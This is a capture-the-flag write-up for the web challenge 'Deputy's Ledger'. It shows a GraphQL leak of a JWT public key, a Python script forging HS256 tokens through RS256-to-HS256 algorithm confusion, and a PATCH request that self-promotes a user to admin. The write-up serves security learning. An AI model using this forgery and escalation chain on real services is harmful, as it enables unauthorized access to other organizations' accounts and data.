SKIP TO MAIN CONTENT

[ WRITEUP NODE / FIELD REPORTS ]

SOLVED CHALLENGES & FIELD ANALYSIS

SECURITY RESEARCH KNOWLEDGE TECHNIQUES
B3S/WRITEUPS/AFRICC-QUALIFIERS-2027-DEPUTY-LEDGER-WRITEUP
← BACK TO ARCHIVE
EVENT: INDEPENDENTCATEGORY: WebPOINTS: 200 PTS

AFRICC Qualifiers 2027 - Deputy Ledger Writeup

AUTHORED BY:@bealthguy8/15/2026

Deputy's Ledger — Web Exploitation Writeup

Category: Web Exploitation Difficulty: Medium Author: LordSudo Flag: africc{d3putys_l3dg3r_h4s_s0_much_fun}

Overview

The challenge presents a ledger/accounting service for a fictional organization. We are given two low-privileged accounts and a hint: "One org's paper trail leads to another's." The service turns out to expose a GraphQL endpoint that leaks the JWT public signing key and the internal directory of all organizations and users. Because the backend verifies JWTs insecurely, we can re-sign a forged token using the leaked public key (RS256 → HS256 algorithm confusion), cross into the second organization, escalate to admin via an insecure PATCH /members/<username> endpoint, and read the master ledger containing the flag.


Step 1 — Reconnaissance

1.1 The briefing page

GET / returns a case-file page with the following issued credentials:

Username Password
analyst hunting4bugs
guest guest123

"Both accounts above are standard members of a single organization. No admin credentials have been issued to anyone, in any organization on file."

So there are multiple organizations, and we are only a member of one.

1.2 Directory enumeration

Using gobuster with a Firefox UA, an interesting endpoint is discovered:

/api  (Status: 200) [Size: 192]

1.3 The API map

GET /api returns the service's endpoint list:

{
  "endpoints": [
    "/api/login",
    "/api/whoami",
    "/api/ledger/<org_id>/records",
    "/api/ledger/<org_id>/master",
    "/api/ledger/<org_id>/members/<username> [PATCH]",
    "/graphql"
  ],
  "service": "deputys-ledger"
}

Step 2 — Authentication

Logging in with the issued credentials returns a JWT:

POST /api/login
Content-Type: application/json

{"username":"analyst","password":"hunting4bugs"}

Response:

{
  "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbmFseXN0Iiwib3JnX2lkIjoiYWNtZSIsImlhdCI6MTc4NjA4MzAwNywiZXhwIjoxNzg2MDkwMjA3fQ.ZG1wy..."
}

Decoding the payload:

{"sub":"analyst","org_id":"acme","iat":1786083007,"exp":1786090207}

/api/whoami confirms we are only a member of acme:

{"org_id":"acme","role":"member","sub":"analyst"}

The ledger endpoints are gated:

GET /api/ledger/acme/master
→ {"error":"forbidden — admin role required"}
GET /api/ledger/globex/records
→ {"error":"forbidden — not a member of this org"}

So we know:

  • org_id lives in the JWT (signed with RS256).
  • Accessing another org requires a token claiming org_id: globex.
  • Reading master requires admin role.

Step 3 — GraphQL information disclosure

Querying POST /graphql introspection reveals four queries:

Query:
  ping
  apiVersion
  debugLedger
  internalDirectory

InternalDirectoryType:
  signingKeyPem
  orgs
  users

The internalDirectory query leaks everything:

{ internalDirectory { signingKeyPem orgs { id name } users { username orgId } } }
{
  "data": {
    "internalDirectory": {
      "signingKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A..."
      "orgs": [
        {"id":"acme",   "name":"Acme Corp"},
        {"id":"globex", "name":"Globex Ledger Services"}
      ],
      "users": [
        {"orgId":"acme",   "username":"analyst"},
        {"orgId":"acme",   "username":"guest"},
        {"orgId":"globex", "username":"director"}
      ]
    }
  }
}

This is the heart of the challenge:

  1. There is a second organization: globex (Globex Ledger Services).
  2. Its only member is the director user.
  3. The JWT public key is exposed — intended to be abused.

debugLedger(orgId: "...") can also read any org's records regardless of token scope, but the flag lives in the master ledger which needs admin.


Step 4 — JWT algorithm confusion (RS256 → HS256)

We have the public key but not the private key, so we cannot forge an RS256 token. However, the classic vulnerability: many JWT libraries validate the signature using the key configured for the algorithm named in the header. If the server accepts HS256 and uses the same PEM bytes as the HMAC secret, we can sign arbitrary tokens with the public key.

4.1 Forge a globex token

Signing header HS256, payload {"sub":"director","org_id":"globex",...} with the public key bytes as HMAC secret:

import base64, json, hmac, hashlib

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(bclass="hljs-string">&#039;=&#039;)

pub = open(class="hljs-string">&#039;pub.pem&#039;, class="hljs-string">&#039;rb&#039;).read()   # leaked via GraphQL
header = {class="hljs-string">"alg":class="hljs-string">"HS256",class="hljs-string">"typ":class="hljs-string">"JWT"}
payload = {class="hljs-string">"sub":class="hljs-string">"director",class="hljs-string">"org_id":class="hljs-string">"globex",class="hljs-string">"iat":1786083007,class="hljs-string">"exp":1786090207}

h = b64url(json.dumps(header, separators=(class="hljs-string">&#039;,&#039;,class="hljs-string">&#039;:&#039;)).encode())
p = b64url(json.dumps(payload, separators=(class="hljs-string">&#039;,&#039;,class="hljs-string">&#039;:&#039;)).encode())
sig = hmac.new(pub, h + bclass="hljs-string">&#039;.&#039; + p, hashlib.sha256).digest()

token = h.decode() + class="hljs-string">&#039;.&#039; + p.decode() + class="hljs-string">&#039;.&#039; + b64url(sig).decode()

4.2 Verify the forged token works

GET /api/whoami
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkaXJlY3RvciIsIm9yZ19pZCI6Imdsb2JleCIsImlhdCI6MTc4NjA4MzAwNywiZXhwIjoxNzg2MDkwMjA3fQ.0H7__...
{"org_id":"globex","role":"member","sub":"director"}

We are now accepted as a globex member. (The role is stored server-side, not in the token.)


Step 5 — Privilege escalation via PATCH members

Reading globex/master still fails:

{"error":"forbidden — admin role required"}

The endpoint list hinted at PATCH /api/ledger/<org_id>/members/<username>. Patching our own token's user (director) inside globex while holding the forged token:

PATCH /api/ledger/globex/members/director
Content-Type: application/json
Authorization: Bearer <forged globex token>

{"role":"admin"}
{"org_id":"globex","role":"admin","username":"director"}

This endpoint happily promotes the user to admin without any authorization check — an IDOR / missing authorization issue.


Step 6 — Read the master ledger → flag

GET /api/ledger/globex/master
Authorization: Bearer <forged globex token>
{
  "entries": [
    {"amount":250000.0, "note":"Master reserve account"}
  ],
  "flag": "africc{d3putys_l3dg3r_h4s_s0_much_fun}"
}

Flag

africc{d3putys_l3dg3r_h4s_s0_much_fun}

Summary of vulnerabilities

  1. GraphQL information disclosureinternalDirectory exposes the JWT public signing key, all organization IDs, and usernames.
  2. JWT algorithm confusion (CVE-style) — server accepts HS256 and uses the RSA public key as the HMAC secret, enabling token forgery for arbitrary org (globex).
  3. Insecure direct object reference on PATCH /members/<username> — any member can promote themselves (or the target user) to admin in their org without an admin check.
  4. Missing admin authorization on /api/ledger/<org_id>/master beyond role — combined with #3, leads to reading the master ledger containing the flag.

The title, "Deputy's Ledger", hints that a low-privileged "deputy" can abuse insecure role management to climb the org ladder and follow the paper trail from one org (acme) into another (globex).